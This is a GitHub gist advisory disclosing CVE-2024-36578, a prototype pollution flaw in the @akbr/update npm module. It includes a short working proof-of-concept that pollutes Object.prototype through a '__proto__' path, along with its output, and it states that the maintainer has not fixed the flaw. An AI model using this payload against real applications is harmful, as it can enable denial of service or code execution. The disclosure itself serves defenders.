Skip to content

Instantly share code, notes, and snippets.

@mestrtee
Last active June 12, 2024 14:32
Show Gist options
  • Save mestrtee/8bc749ec2b5453d887b2f4a362a65897 to your computer and use it in GitHub Desktop.
Save mestrtee/8bc749ec2b5453d887b2f4a362a65897 to your computer and use it in GitHub Desktop.
[CVE-2024-36578] Prototype Pollution vulnerability affecting @akbr/update NPM module, version 1.0.0

Overview

Affected versions of this package are vulnerable to Prototype Pollution. An attacker can manipulate the prototype of an object, potentially leading to the alteration of behavior of all objects inheriting from the affected prototype by modify built-in Object.prototype through reachable special properties __proto__ and constructor.prototype. Thus, the attacker can use one of these properties to pollute the application logic that can be escalated to Denial of service, remote code execution or cross-site scripting attacks.

Location:

update/index.js:42

PoC:

(async () => {
  const lib = await import('@akbr/update');

var victim = {}
console.log("Before Attack: ", JSON.stringify(victim.__proto__));
try {
  lib.default ({},[["__proto__"], "polluted"], true,true)
} catch (e) { }
console.log("After Attack: ", JSON.stringify(victim.__proto__));
delete Object.prototype.polluted;
})();

Output:

Before Attack: {}
After Attack: {"polluted":true}

How to prevent:

"No updates were provided following two months of reporting the vulnerability."

References:

akbr/update#1

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment